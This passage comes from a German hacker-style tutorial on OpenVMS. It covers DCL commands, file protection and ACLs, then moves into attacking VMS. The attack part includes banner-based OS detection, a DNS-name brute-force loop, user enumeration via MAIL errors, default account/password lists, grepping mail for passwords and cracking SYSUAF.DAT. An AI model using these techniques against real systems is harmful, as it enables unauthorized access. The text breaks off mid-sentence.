SHOW PROCESS /PRIVILEGE
anschauen.
Dabei ist zu beachten, dass man Privilegien die nicht Standartmaessig aktiv
sind, extra aktiviert werden muessen:
$
SET PROCESS /PRIVILEGE=BYPASS
Wuerde
wenn erlaubt, dass BYPASS Privileg aktivieren.
Etwas
schwieriger ist das Prinzip der ACL (Access Control List) welches ebenfalls
unter VMS verwendet wird. Eine Zugriffskontrollliste entaehlt
Schutzinformationen ueber ein Objekt. Diese haben das folgende
Format:
(Typ,
Option, Zugriffsart)
Typ:
Es
gibt drei verschiedene ACL-Eintragstypen:
-Identifier-Eintraege
-Default-Protection
Eintraege
-Alarmjournal
Eintraege
Ein
Identifier kann jeder UIC Wert sein so auch Gruppe oder Benutzer. Dieser Wert
gibt den Benutzer auf den sich die ACL richtet.
Es
gibt Identifier die uns automatisch von VMS zugeteilt werden. Diese
Systemidentifier sind:
[Bezeichnung] [Typ
von Benutzer]
LOCAL
User hat loggt sich uebe ein Terminal ein
BATCH
Batch User
INTERACTIV
Interaktiver User
DIALUP
User hat sich eingewaehlt
NETWORK
Netzwerkanwendungen
REMOTE
User loggt sich uebers Netzerk ein
Option
DEFAULT Diese Option ist nur fuer
Verzeichnisse zulaessig. Jede Datei
die in diesem Verzeichnis erstellt wird, wird mit den von
uns
besagten Zugriffsrechten bestueckt.
PROTECTED Das Objekt kann nur erschwert geloescht
werden. Naemlich mit
Hilfe des ACL-Editors.
NOPROPAGATE
Der ACL wird nicht an hoehere Versionen der Datei gegeben.
NONE Wir
wollen keine Optionen setzen.
Zugriffsarten
READ
WRITE
EXECUTE
DELETE
CONTROL
NONE
Ein
ACL eintrag koennte wie folgt von statten gehen:
$
SET FILE /ACL=(IDENTIFIER=[REMOTE,HAVOC], OPTIONS=NONE, ACCES=NONE)
*.*;*
Hat
zur folge das HAVOC keinen zugriff mehr auf alle Dateien im Verzeichnis mehr
hat.
Den
ACL-Editor startet man mit
$
SET FILE /ACL /EDIT
1.7DCL
Wenn
wir auf einem VMS System eingeloggt sind, kommunizieren wir mit VMS mit der
Terminalsprache DCL (Digital Command Language). DCL unterstuetzt ueber 200
Befehlsaufrufe und Funktionen die bei der Aufgabensloesung verwendet werden
koennen. DCL wurde von Digital entwickelt.
1.8DECnet
Ein
DECnet besteht aus zwei oder mehr Computern die sich Nodes nennen und mit
einander verbunden sind. Mit DECnet kann ein Computer auf die Ressourcen eines
anderen Computers zugreifen. Das Ganze ist also mit TCP/IP Netzen vergleichbar,
denn es gibt Server, Clients, Pakete und Ports. Nur erlaubt DECnet VMS Rechnern
untereinander zu kommunizieren. DECnet ermoeglicht es Produkten der
Produktfamilie von
| | | | | | | |
|d|i|g|i|t|a|l|
| | | | | | | |
sich
untereinander auszutauschen. DECnets erstrecken sich oft ueber mehrere
(Firmen-,Buero-,Orgranisationen)Netze und koennen Weltweit sein.
Rechner
und Betriebssysteme mit DECnet waren frueher:
Rechner
Betriebssystem
VAX
VMS
VAX
ULTRIX
PDP-11
RSX-11
PDP-11
RSTS/E
Heute
wird man schon beim kompilen des linux Kernels gefragt, ob man das DECnet
Filesystem/Tools mit implementieren moechte.
2.0
Jetzt wird’s interaktiv (praxis am Terminal)
„Wissen
ist Macht-
wie falsch gedacht!
Wissen ist wenig-
Koennen ist
Koenig!“
Wenn
wir interaktiv an einem VMS System arbeiten, gehen wir davon aus, dass wir mit
einem Terminal arbeiten. Es tut zunaecht ersteinmal nichts zur Sache, ob wir uns
via telnet mit dem VMS verbunden haben, oder ob wir gerade vor einem Terminal
sizten. Wir werden uns hier auf dem Terminal bewegen und so zunaechst einmal die
wichtigsten Befehle kennen lernen.
Wie
bereits im vorigem Kapitel erwaehnt, arbeitet man an VMS Systemen mit der DCL
(Digital Command Language). Ein DCL-Befehl setzt sich im groben aus drei
Bausteinen zusammen. Zunaechst kommt das Befehlsverb dann die entsprechenden
Parameter/Argumente die man an das aufgerufene Programm geben will. Als dritter
Baustein kommen die sogenannten Qualifizierer (oder auch Optionen/Switches
genannt).
Das
Befehlsverb steht unmittelbar vor dem Prompt ($) und besteht aus einem Wort. Der
Parameter gibt an auf was ein bestimmter Befehl ausgefuehrt werden soll. Die
Qualifizierer dienen um das Verhalten des Befehls zu beeinflussen. Dabei gilt es
von zwei Qualifizieren zu unterscheiden. Zum einen gibt es Qualifizierer die
sich auf den gesamten Befehl beziehen.
$
COPY DATEI.LIS [.XFILES] /LOG
Der
Qualifierer „/LOG“ bezieht sich auf das gesamte Kommando.
Dann
gibt es noch die Qualifizierer die sich nur auf ein bestimmtes (nachfolgendes)
Argument beziehen.
Wenn
wir mit dem Terminal arbeiten moechten, ist es auch ein wichtiges sich mit den
Fehlermeldungen auszukennen. Nehmen wir an wir begehen einen Schreibfehler in
einem Programmaufruf:
$
SHWO TIME
%DCL-W-IVVERB,
unrecognized command verb – check validity and spelling
\SHWO\
Die
Fehlermeldung besteht aus vier Teilen, wobei die ersten drei mit Bindestrichen
aneinander Verbunden sind.
1.
Teil des Systems
(DCL)
2.
Art der Meldung
(W)
3.
Kennwort der Meldung
(IVVERB)
4.
Text der Meldung
(unrecognized command verb – check ...)
1
– gibt an von welchem Teil des Systems diese Fehlermeldung kommt. Andere
Beispiele waeren BACKUP, QUEMAN oder SET.
2
–
gibt die Art der Systemmeldung an.
„S“
Success
„I“
Information
“W”
Warning
“E” Error
“F” Fatal Error
3
–
ist ein Kuerzel der dem Benutzer Informationen zu der Fehlermeldung zu kommen
lassen soll.
Was
auch angesprochen werden sollte sind die Tasten-Kombos die sich in Verbindung
mit CTRL ergeben.
CTRL
+ Y : Unterbricht das laufende Programm
CTRL
+ C : Vom Programm difiniert oder wirkt wie CTRL + Y
CTRL
+ O : Aus-/Einschalten der Terminalausgabe
CTRL
+ T : Auf dem Bildschirm erscheint eine Kurzinformation zum aktuellen
Prozess
Kommentare
werden in DCL mit dem „!“ Zeichen versehen. Alles was nach diesem Zeichen kommt,
wird als Kommentar gelesen.
Wenn
ein Befehl von besonderer Laenge ist, kann der Benutzer einfach ueber die
Terminalzeile hinausschreiben. Dabei wird eine neue Zeile unten angefuegt.
Andernfalls kann der Bentuzer bevor er den Rand erreicht, das „-„ Zeichen
setzen. Nachdem „-„ kann er mit [return] eine neue Zeile beginnen und das
Kommando vortfuehren. Das sorgt oftmals fuer eine bessere Uebersicht.
2.1
Arbeiten mit Dateien und Verzeichnissen
Als
erstes muessen Wir in der Lage sein, uns auf dem System umzusehen und unser
„home“ Verzeichnis zu verwalten. Dazu benoetigen wir Befehle mit denen wir
Verzeichnisse wechseln/loeschen/erstellen koennen und Befehle mit denen wir in
die Lage versetzt werden Dateien zu bearbeiten/loeschen.
Wir
werden hier zunaechst Befehle durchgehen die fuer diese Zwecke unverzichbar sind
und ein Beispiel vorfuehren.
----
Befehl
$
DIRECTORY
Man
erhaelt eine Liste aller Dateien die in einem Verzeichnis
stehen.
Wichte
Qualifizierer
/SIZE
Zeigt
die Groesse der jeweiligen Datei an.
/FULL
Zeigt
umfangreiche Informationen zu jeder Datei an
/DATE
Gibt
den Zeitpunkt der Dateierstellung und Bearbeitung an.
Beispiel
MANSON
$ directory /size !wir wollen den verzeichnisinhalt sehen
Directory
MANSON$DKA100:[USERS.LOOM]
LOGIN.COM;1
WELLCOM.TXT;1 MAIL.MAI;1
Total
of 3 files.
----
Befehl
$
DELETE
Loeschen
von einem Objekt.
Wichtige
Qualifizierer
/CONFIRM
Bentutzer
wird vor dem Loeschen um Erlaubnis gefragt.
/LOG
Man
erhaelt nach dem loeschen einen Beitrag auf dem Bildschirm
/DIRECTROY
Ermoeglicht
das Loeschen eines Verzeichnisses
/ENTRY
Loescht
einen Eintrag in der Batch-Job Warteschlange
Beispiel
$
DELETE VERSUCH.C;* !loescht alle Versionen der Datei
VERSUCH.C
----
Befehl
$
PURGE
Mit
dem PURGE Befehl koennen alle Versionen einer Datei, ausser die zuletzt
erstellte (die mit der hoechsten Versionsnummer), geloescht
werden.
Wichtige
Qualifizierer:
/KEEP=n
Die
letzten n Versionen der Datei behalten
$
PURGE VERSUCH.C
----
$
TYPE
Gibt
den Inhalt einer Datei auf dem Bildschirm (SYS$OUTPUT) aus.
/PAGE
Der
Text wird nicht an einem Stueck ausgegeben, sondern wird Bildschirmseite fuer
Bildschirmseite ausgegeben. Der Bentuzer kann mit [RETURN]
weiterblaettern.
/OUTPUT=file-name
Schreib
den Output in gewuenschte Datei.
$
TYPE LOGIN.COM;1 !zeigt inhalt der Datei an
$
TYPE VERSUCH.C;* !zeigt inhalt aller Versionen an
$
TYPE MAIL.DIS;1 /PAGE !zeigt den Inhalt nacheinander an
----
$
CREAT /DIRECTROY
Erstellt
ein neues Verzeichnis.
/PROTECTION=(...)
Erstellt
Verzeichnis mit den angegebenen Zugriffsrechten.
/LOG
Gibt
bescheid wenn bei Erfolg.
$
CREAT /DIRECTORY [.LOG]
----
Wenn
man keine Pfandangaben zu seinen Befehlen hinzufuegt werden, sucht sich VMS aus
dem Standard-Directory das Zielverzeichnis. Das Standard-Directory eines
Benutzers ist zunaechst einmal sein Home-Verzeichnis. Um das
Standard-Verzeichnis zu veraendern und so auch seine Position im Verzeichnisbaum
zu veraednern, benutzt man den befehl „SET DEFAULT“.
$
SET DEFAULT verzeichnis
Den
Momentanen Standpunkt kann man sich mit dem folgendem Befehl anzeigen
lassen:
$
SHOW DEFAULT
Der
Befehl „cd“ wie er oft auf VMS Systemen benutzt wird ist eigentlich nichts
anderes als ein logischer Name fuer den Befehl „SET DEFAULT“. Zu den logischen
Namen kommen wir spaeter.
----
$
COPY
Kopiert
eine Datei.
$
COPY *.c;* DISK$FLOP:[c-codes] !kopiert alle C Dateien auf Diskette
! Verzeichnis [c-codes]
----
$
SEARCH
Sucht
in angegebenen Dateien nach einem Bestimmten String.
$
SEARCH MAIL.DIS password,Password,PASSWORD
!sucht in der mail datei nach den drei
Schluesselwoertern
-kleine
session-
MANSON
$ show default ! wir wollen wissen
wo wir uns befinden
MANSON$DKA100:[USERS.LOOM]
MANSON
$ directory !wir wollen den verzeichnisinhalt sehen
Directory
MANSON$DKA100:[USERS.LOOM]
LOGIN.COM;1
WELLCOM.TXT;1 MAIL.DIS;1
Total
of 3 files.
MANSON
$ type wellcom.txt;1
Hi,
wellcom on our system stranger!
MANSON
$ SEARCH MAIL.DIS;1
“password”
********************************
MANSON$DKA100:[USERS.LOOM]MAIL.MAI;1
so I have changed my password to
“buttermilk123”
MANSON
$
-end-
2.2
Editieren
Das
Editieren von Texten wird auf VMS Systemen mit dem EVE-Editor geregelt. EVE
steht fuer Extensible Vax Editor und ist in der Lage, Texte einzugeben,
korrigieren, formatieren oder duplizieren. Wir werden hier nur das wichtigste
Besprechen. Fuer weitere Informationen „HELP“.
Zum
starten des Editors nutzen wir den folgenden Aufruf:
$
EDIT /TPU filename
Zum
verlassen des Editors dreucken wir die Taste [F10] (dabei werden aenderungen
gespeichert).
Zum
verlassen ohne Aenderung des Textes gehen wir folgende Schritte
durch:
-Taste
[AUSFUEHREN] / [Do] dreucken
-Hinter
dem auftauchenden Prompt „Command:“ den Befehl QUIT
eingeben
-Danach
werden wir gefragt ob wir die Veraenderung speichen
moechten
-Weil
wir nicht speichern moechten beantworten wir die Frage mit
„Y“
Falls
beim editieren das System abstuerzen sollte oder die Verbindung getrennt wurde,
wird der EVE Editor eine Datei mit der Endbezeichnung „TJL“ erstellen. Diese
kann beim erneuten anmelden mit „EDIT /TPU /RECOVER CRASH.TJL“ wiederhergestellt
werden.
2.3Drucken
von Texten
Wie
auch in mir allen bekannten anderen Systemen, arbeitet auch VMS mit
Druckwarteschlangen. Das bedeutet, dass wenn mehrere Druckauftraege anstehen,
einer nach dem anderen gedruckt wird.
----
$
PRINT filename
Veranlasst
das Drucken von „filename“.
/QUEUE=warteschlagne
Hier
kann die gewuenschte Datenschlange angegeben werden.
/NOTIFY
Am
Bildschirm erscheint eine Nachricht wenn der Druckauftrag beendet
ist.
/HEADER
Schreibt
automatisch ueber jede Seite die Seitenanzahl.
/COPYS=n
Druckt
„filename“ n mal aus.
$
PRINT MYPROGRAMM.COM;5 /COPYS=2 /HEADER
----
Zum
ueberwachen der Druckerschlange steht uns der folgende Befehl zur
Verfuegung:
$
SHOW ENTRY
Jobname
Username
Entry Blocks Status
MYPROGRAMM.COM LOOM
14
12
Printing
Um
Informationen ueber die Warteschlange zu bekommen nutzen wir den
Befehl:
$
SHOW QUEUE !listet alle Schlangen auf
$
SHOW QUEUE name !zeigt Infomationen
ueber die Schlange “name” an
Mit
dem Befehl „SHOW ENTRY“ koennen wir uns die Nummer unseres Druckauftrages
ansehen. Mit „DELETE /ENTRY=jobnummer“ koennen wir den Druckjob mit Jobnummer
„jobnummer“ loeschen.
2.4
Elektronische Post
Mit
E-Mails ist es ein einfaches einem Kollegen auf einem entferntem oder localem
Computer eine Nachricht zukommen zu lassen. Es ist billiger als das Telefon und
bringt bsw. den Vorteil, dass der Empfaenger nicht beim Versandt der Nachricht
anwesend seinen brauch. Er kann die Nachricht auch spaeter lesen. Ausserdem geht
die uebertragung von solchen Nachrichten blitzschnell.
Um
eine Nachricht zu lesen starten wie „MAIL“
$
MAIL
You
have 1 new message.
MAIL>
Es
erscheint der Mail-Prompt mit dem wir nun arbeiten werden. Wir lassen uns alle
Nachrichten im aktuellen Mail-Verzeichnis ansehen:
MAIL>
DIRECTROY
Es
erscheint eine Liste mit Nummern die jeweils fuer eine Nachricht
stehen.
Wenn
wir eine der Nachrichten lesen moechten, gibt es verschiedene
Moeglichkeiten:
MAIL>
[RETRUN] !die erste – aktuelle Nachricht
MAIL>
n
!die n-te Nachricht
MAIL>
BACK !die zuletzt
gelesene Nachricht
MAIL>
NEXT !die naechte
Nachricht
Wir
wollen eine Nachricht senden.
MAIL>
SEND
To:
LOUIE
Subj:
U SUCK
Blah
blah blah blah blah blah
Blah
blah blah blah blah blah
CTRL
+ Z !absenden der Nachricht
!abbrechen mit CTRL + C
Wenn
LOUIE ein Bentuzer an einem anderm Computer waere, muesste der Aufruf wie folgt
aussehen:
HOST::LOUIE
Bei
mehreren empfaengern:
LOUIE,THOMAS,SYSTEM,ASS::PEN,...
Wir
versenden eine Datei:
MAIL>
SEND filename !der inhalt der Datei wird als Nachricht
versandt
Zum
Beantworten einer Nachricht:
-Nachricht
lesen
-MAIL>
REPLY !oder ANSWER – empfaenger uns Subj werden auto.
Eingetragen
-Antwort
eingeben
-Absenden
mit CTRL + Z
Zum
weiterleiten einer Nachricht
(mail
lesen)
MAIL>
FORWARD
To:
KERL
Subj:
YaCC - Yet another Cup of Coffee
Eine
Kopie der gelesenen Nachricht wird auto. versandt.
Jetzt
wollen wir noch eine Nachricht die wir gelesen haben in eine Datei
ablegen.
(mail
lesen)
MAIL>
EXTRACT filename
Legt
die komplette Mail (mit header) in Datei „filename“ ab. Mit dem Qualifizierer
/NOHEADER wird nur die Nachricht gespeichert.
Nachrichten
loeschen wir mit
MAIL>
DELETE n,j,x,...
Oder
Mail>
DELETE n-z
2.5
Logische
Namen
Was
logische Namen sind haben wir im ersten Kapitel besprochen. Wir wollen uns nun
logische Namen in der Praxis ansehen.
----
$
DEFINE objekt logischer-name
objekt
kann sein:
-eine
Geraetename
-ein
Verzeichnisname
-eine
Dateibezeichnung
/PROCESS
Der
logische Name wird in die Prozesstabelle geschrieben und gilt so nur fuer den
laufenden Prozess.
/JOB
Der
logsiche Name wird in die Jobtabelle geschreiben und gilt nur fuer einen Job-
d.h. fuer den Prozess und seine Sub-Prozesse.
/GROUP
Der
logsiche Name wird in die Gruppentabelle der Gruppe hinzugefuegt und gilt damit
fuer alle Benutzer der Gruppe.
(Benoetigtes
Privileg: GRPNAM oder SYSPRV)
/SYSTEM
Der
logische Name wird in die Systemtabelle geschrieben und gilt fuer alle Benutzer
des Systems.
(Benoetigtes
Privileg: SYSNAM oder SYSPRY)
$
DEFINE PROJEKT [.PROGRAMMING.C]projekt.c
!wird
ein logischer Name definiert den es bereits gibt, wird der alte
ueberschrieben
$
TYPE PROJEKT
/*
projekt.c */
#include
<pub/beer.h>
.
. .
----
$
SHOW LOGICAL logsicher-name
Zeigt
das Objekt auf welches der logsiche Name “logischer-name”
Verweist.
$
SHOW LOGICAL PROJEKT
„PROJEKT“
= „[.PRPGRAMMING.C]projekt.c“
Um
uns alle logsichen Namen anzeigen zu lassen schreiben wir
nur
$
SHOW LOGICAL
in
unser Terminal.
----
$
DEASSIGN logischer-name
Hebt
den logischen Namen auf.
$
DEASSIGN PROJEKT
----
2.6Dateischutz
Das
Prinzip von Datenschutz unter VMS ist bereits im ersten Kapitel besprochen
worden. Hier werden wir uns mit der interaktiven Handhabung dieser
Zugriffsmechanismen befassen.
----
$
DIRECTROY /SECURITY
Eine
Auflistung alle Dateien und deren Zugriffsrechte.
$
DIRECTROY /SECURITY
Directory
DISK$FLOP:[PROGRAMMING.C]
VERSUCH.C;1
[REMOTE,LOOM]
(RWE,RWED,RE, )
VERSUCH.C;2
[REMOTE,LOOM]
(RWE,RWED,RE, )
LITM.C;7
[REMOTE,LOOM]
(RWE,RWED,RE, )
GULL.C;3
[REMOTE,LOOM]
(RWE,RWED,RE, )
Total
of 4 files.
----
$
SET PROTECTION = (...)
Legt
Zugriffsrechte erneut fest.
$
SET PROTECTION = (S:RWE,O:RWED,G:RWE,W)
!
hinweis !
Aendert
man Rechte eines Objekts, muss man immer die kompletten Angaben machen.
Teilaenderungen sind nicht moeglich. Gibt man z.B. bei der Aenderung fuer GROUP
nur Rechte „G:W“ an, sind die vorhergehenden Rechte wie R und E nicht mehr
gueltig.
----
Neu
erstellte Dateien werden immer mit einem Standart Schutz versehen. Dieser laesst
sich mit „$ SHOW PROTECTION“ anzeigen. Mit „$ SET PROTECTION = (...) /DEFAULT”
laesst sich der Standart Schutz veraendern.
Kommen
wir nun zu ACL Schutzmechanismen in der praktischen
Anwendung.
----
$
DIRECTROY /ACL
Zeigt
die ACL Zugriffstabellen fuer alle Dateien im Verzeichnis
an.
$
DIRECTORY /ACL
----
$
SHOW ACL objekt
Zeigt
den ACL Schutz eines Objektes an.
/OBJECT_TYPE=type !TYPE kann sein
FILE (STANDARD), DEVICE oder
!
LOGICAL_NAME
$
SHOW ACL /OBJECT_TYPE = DEVICE DUA1:
----
$
SET ACL object
Setzen
von ACL Zugriffsrechten.
Um
ACL Berechtigungen fuer ein Verzeichnis zu modifizieren, setzen wir nach dem SET
Auffruf das Wort „DIR“.
/OBJECT_TYPE=type !TYPE kann sein
FILE (STANDARD), DEVICE oder
!
LOGICAL_NAME
Gibt
an um welches Objekt es sich handelt.
/ACL=(...)
ACL
angaben.
/DELETE
Loescht
ACL Zugriffsliste.
/LOG
Zeigt
jedes Objekt an, dessen ACL modifiziert wird.
SET
ACL /ACL=(IDENTIFIER=HAVOC+LOCAL, ACCESS = R+W+E+D)
VMS-GUIDE.HTM
Legt
fest das HAVOC wenn er local am System arbeitet, lese, schreibe, ausfuehr und
loesch rechte besitzt.
SET
DIR ACL /ACL=(IDENTIFIER=[POLITICALS,*], ACCESS=NONE)
[.INFORMATION]
Legt
fest das alle Benutzer der Gruppe POLITICALS keinen Zugriff auf das Verzeichnis
INFORMATION haben.
Seine
Privilegien kann man sich mit
$
SHOW PROCESS /PRIVILEGE
,anschauen.
Dabei ist zu beachten, dass man Privilegien die nicht Standartmaessig aktiv
sind, extra aktiviert werden muessen:
$
SET PROCESS /PRIVILEGE=BYPASS
Wuerde
wenn erlaubt, dass BYPASS Privileg aktivieren.
2.7VMS
den Prozess machen
Beim
Anmelden am System mit Username und Password wird fuer den betreffenden Benutzer
ein Prozess erzeugt. Ein Prozess kann immer nur einen Befehl oder ein
Dienstprogramm ausfuehren. Daher macht es Sinn mit mehreren Prozessen zu
arbeiten um in kurzer Zeit mehrere Dinge zu erledigen. Beispielsweise koennte
man waehrend ein COPY Aufruf arbeitet seine Mails
begutachten.
----
$
SHOW SYSTEM
Zeigt
alle Prozesse an.
$
SHOW SYSTEM
VAX/VMS
V6.0 on node DIGREB 6-JUN-2001 03:12:33.53 Uptime 6
19:23:43
Pid Process
Name State Pri I/O CPU Page flts Ph.Mem
00000021 SWAPPER
HIB
16 0 00:00:04.42 0
0
[...]
----
$
SHOW PROCESS
Zeigt
Informationen ueber den aktuellen Prozess.
----
$
SPAWN
Erzeugt
einen Sub-Prozess zum aktuellen Prozess. Beim Aufruf ohne Parameter wird ein
weiteres Terminal geoeffnet, an dem gearbeitet werden
kann.
/NOWAIT
dcl-befehl
Startet
einen Hintergrundprozess und arbeitet den dcl-befehl ab.
$
SPAWN /NOWAIT SEARCH MAIL.DIS;*
passwort,password,Password,Passwort
%DCL-S-SPAWNED,
process LOOM_1 spawned
----
$
SHOW PROCESS /SUBPROCESSES
Zeigt
die Sub-Prozesse des momentanen Prozesses.
LOOM
(*)
LOOM_1
!
das * zeigt an, an welchem Prozess man zur Zeit aktiv ist.
Man
kann sich auch die Sub-Prozesse des Systems ansehen mit „$ SHOW SYSTEM
/SUBPROCESSES“.
----
$
STOP /IDENTIFICATION=pid
Beendet
(falls berechtigt) den Prozess mit der angegebenen PID. Jeder Benutzer kann
seine eigenen Prozesse „kill“en und mit dem Privileg WORLD kann jeder Prozess
angehalten werden.
2.8Remote
Grundlegende
Netzwerkfunktionen.
----
$
SET HOST node-name
Baut
eine Verbindung mit node-name im DECnet auf. Bei angabe von „0“ als node-name,
wird eine verbindung mit dem eigenen Host hergestellt.
$
SET HOST VMS01
Username:
loom
Password:
Welcome on our VMS Stranger...
----
$
COPY
Mit
COPY kann man Dateien vom aktuellem Rechner auf einen entfernten
kopieren.
$
COPY test.lis;1 VMS01::[USERS.LOOM]
Username:
LOOM
Password:
3.0
Hacking VMS
VMS
macht auf Grund seiner komplexeren Handhabung mit Zugriffsrechten/Privilegen
einen sicheren Eindruck. Tatsaechlich geniesst VMS einen guten Ruf in Sachen
Sicherheit. Das mag daran liegen, dass VMS noch laengst nicht so oft eingesetzt
wird wie ein Solaris Betriebssystem. Bei Peer-to-Peer Netzwerken wird oft auf
OpenVMS gesetzt. So entsteht ein DECnet nach dem anderen die wieder miteinander
Verbunden werden. DECnets erstrecken sich ueber die ganze Welt. Mit DECnet
Gateways kann ein DECnet an ein ganz normales TCP/IP Netzwerk angeschlossen
werden.
1989
habe ich die mir erst bekannte Sicherheitswarnung in bezug auf VMS und DECnets
allgemein gefunden (also bei meiner suche- da war ich noch nich im
kindergarten...). Dabei ging es darum, dass sich mehr und mehr Angreifer via
Modem und einem Wardialer sich im DECnet breit machten. In der Regel durch nicht
geaenderte Standartpasswoerter (wird dieser Wahnsinn jemals enden?!)- ein
Problem das man auch heute noch oft findet, besonders bei Netzwerkgeraeten. Die
Sicherheitswarnung empfahl jedenfalls allen Systemadministratoren ihre
Passwoerter-Policy erheblich zu verbessern.
Ziel
des Angreifers sind wie immer hoehere Zugriffsbefugnisse. Unter VMS also
entweder den SYSTEM Account oder hoehere Privilegien. Wenn es einmal so weit
ist, kann ein Angreifer von diesem System aus weiter durch die weiten des
DECnet´s wandern.
Ueber
den lauf der Jahre von damals bis jetzt, gab es immer wieder mal vereinzelte
Meldungen die auf Probleme bei der VMS Sicherheit hinwiesen. Man kann fast sagen
jedes Jahr ca. 3 wirkliche Sicherheitsprobleme. Es liegt auf der Hand das es
auch bei VMS Anwendungen zu Sicherheitsmaengel kommen muss. Schliesslich sind
VMS Programmierer auch nur Menschen und so haben sich auch hier
Sicherheitsprobleme durch „Programmierfehler“ entwickelt.
3.1
OS
Detection und andere Informationen
Zunaechstmal
muss ein Angreifer wissen mit welchem OS er es zu tun hat. Man kann entweder
beim Wardailen oder in einem TCP/IP (oder IPX) Netzwerk auf ein VMS System oder
ein DECnet treffen.
Indikator
fuer ein VMS System ist oftmals noch der Banner der beim Einloggen ausgegeben
wird, bsw:
Wellcome
to VMS01 under VMS 5.3
Dieser
Banner kann aber geaendert werden.
Danach
folgt die Anforderung nach einem Bentzernamen und einem
Password.
Username:
LOOM
Password:
[invisible]
Hier
ist nichts wirklich auffaeliges festzustellen. Auffaelig wird dann, wenn wir ein
falschen Password eingeben:
„User
authorization failure“
Ein
weiterer Indikator fuer ein VMS System ist dann zu erkennen, wenn wir beim login
CTRL+Z druecken.
„Error
reading command input”
Falls
man das VMS System ueber ein TCP Netz erreichen kann, gelten die selben
OS-Detection Tricks. Beispielsweise passives Fingerprinting. „nmap“ sollte VMS
Systeme auch erkennen.
Manche
VMS Systeme lassen sich auch schon an ihrem DNS Namen erkennen
(vms01.domain.za). Ein einfaches Shell-Scribt fuer Unix waehre ein DNS Namen
Brutforcer:
~
> cat >host.lis<<END
vms
vms1
vms01
vax
vmasvax
[...]
END
~
> for I in `cat host.lis`; do nslookup $I.domain.za 2>/dev/null;
done
Das
Telnet utility kann ebenfalls interessante Informationen geben. Einige Ports wie
11 oder 15 sind Standartmaessig aktiv und bringen so wissenswertes ueber das
System unter die Leute. Beispielsweise angemeldete Benutzer, Routingtabellen,
Netstat...
Ein
eingeloggter Bentuzer kann mit Hilfe des Befehls
$
TELNET VMS.HOST.NET /PORT=15
sich
mit dem Netstatport verbinden.
Um
die aktiv am System arbeitenden Benutzer zu sehen reicht der folgende
Aufruf:
$
FINGER
um
naehere Informationen ueber einen USER zu bekommen „FINGER
USERNAME“.
Ein
anderer Weg um Festzustellen ob ein Bentuzer Existiert oder nicht ist das
Programm „MAIL“.
Ein
Beispiel:
$
MAIL TEST.TXT EXISTING-USER /SUBJECT=“TEST“
Der
Bentuzer EXISTING-USER ist ein existierender Benutzer des Systems, daher wird
keine Fehlermeldung ausgegeben.
$
MAIL TEST.TXT NON-EXISTING /SUBJECT=“TEST“
%MAIL-E-NOSUCHUSR,
no such user NON-EXISTING
So
koennen wir Benutzername fuer Benutzername abklappern und so feststellen welche
Benutzer existieren und welche nicht.
Um
eine Ausgabe wie bei „netstat“ zu erhalten kann man den Befehl „SHOW NETWORK“
verwenden.
3.2
Passwort
Attacken
Wo
Passwoerter sind, da sind auch Sicherheitsprobleme mit Passwoertern. Das kommt
oft dadurch, dass Benutzer sich nicht der Bedeutung eines guten Passwortes
bewusst sind. Ein gutes Passwort steht weder in einem Lexikon noch in einem
Duden (wieso werden wir gleich erlaeutern). Es ist empfehlenswert Gross-, und
Kleinschreibung zu waehlen. Ausserdem sollten noch Zahlen oder andere Zeichen
enthalten sein. Ein einfaches Beispiel- passwort welches auch noch einfach zu
merken ist waehre zum Beispiel:
MeinCh3fIstChef
Passwoerter
werden in der Datei SYSUAF.DAT aufgewahrt und befinden sich im Verzeichnis
SYS$SYSTEM. Bei aelteren VMS Systemen, war diese Datei fuer alle Bentuzer lesbar
(genau wie die /etc/passwd bei *NIX Systemen, wo es noch keine shodow´ed
Passwoerter gab). Diese Zeiten sind vorbei! Die Datei SYSUAF.DAT bleibt normalen
bentuzern veraehrt (es sei denn der „nomale“ Benutzer verfuegt ueber Privilegien
wie BYPASS).
Es
gab wie bereits erwaehnt bei aelteren VMS Systemen noch viele Standart
Passwoerter wie z.B. SYSTEM [ENTER]. Wobei SYSTEM der Administrator Account
schlecht hin ist. Hier einige Klassische/Historische Standart
Accounts:
[Account]
[Passwort]
DECNET
DECNET
DEFAULT
DEFAULT
DEMO
DEMO
FIELD
FIELD
SERVICE
GUEST
GUEST
OPERATOR
OPERATOR
OPERATIONS OPERATIONS
SYSMAINT SYSMAINT
SERVICE
DIGITAL
SYSTEM
SYSTEM
MANAGER
OPERATOR
SYSLIB
SYSTEST
UETP
SYSTEST
SYSTEST_CLIG CLIG
SYSTEST
TEST
SUPPORT
SUPPORT
DEC
Wobei
die hier genannten Bentuzernamen ohne Passwortangabe kein Passwort benoetigten.
Solche Accounts werden auch Joker Accounts genannt. Standart Accounts – also
Accounts die auf jedem System Standartmaessig enthalten sind, werden besonders
oft von Passwortattacken heimgesucht. Das liegt daran das der Angreifer weiss,
dass diese Accounts existieren und ratet daher so munter drauf los. Ein Horror
Senario ist das simple Erraten des SYSTEM Accounts. So haette der Angreifer
volle Kontrolle ueber das System.
Die
Datei SYSUAF.DAT besitzt Standartmaessig folgende Zugriffsrechte: System:RWE,
Owner: RWE, Group:, World:.
Es
sei hier noch erwaehnt das die Passwoerter natuerlich nicht im Klartext
gespeichert werden.
Benutzernamen
und Gruppen sind in der Datei SYS$SYSTEM:RIGHTSLIST.DAT festgelegt. Diese Datei
ist auf manchen Systemen noch lesbar fuer jedermann. Seid OpenVMS 6.0 ist dies
jedoch ebenfalls passe. Die es sich fuer .DAT Dateien gehoert, ist diese Datei
alles andere als einfach lesbar. Ein hex-editor ist hier keine schlechte
wahl.
Wenn
man einmal eine Liste aller Benutzer und Passwoerter besitzt, kann das muntere
Passwoerter raten losgehen.
Wenn
ein Angreifer sich irgendwie Zugriff zu der SYSUAF.DAT verschafft hat, kann er
diese mit tools wie VMScrack 1.0 fuer MSDOS cracken. Mit diesem tool kann ein
Angreifer das Passwort durch mehrmaliges Raten anzeigen lassen.
Ein
Passwort wird verschluesselt in der SYSUAF.DAT aufbewahrt. Der Schluessel setzt
sich aus einem angegebenem Passwort und einer Aufbereitung durch ein
symetrisches Verschluesselungsverfahren zusammen. Diese
Verschluesselungsverfahren koennen in der Regel nicht geknackt werden. Was
Programme wie VMScrack tun, ist ein Passwort nach dem anderem zu generieren und
zu ueberpruefen, ob das neu generierte Passwort dem der SYSUAF.DAT entspricht.
Falls dies der Fall ist, ist das Passwort ermittelt worden. Dabei werden
Passwortlisten verwendet, die beispielsweise alle Begriffe eines Lexikons oder
eines Dudens durchgehen. Daher ist es Sinnvoll ein Passwort zu waehlen welches
nicht in einer solchen „Datenbank“ enthalten ist.
Fuer
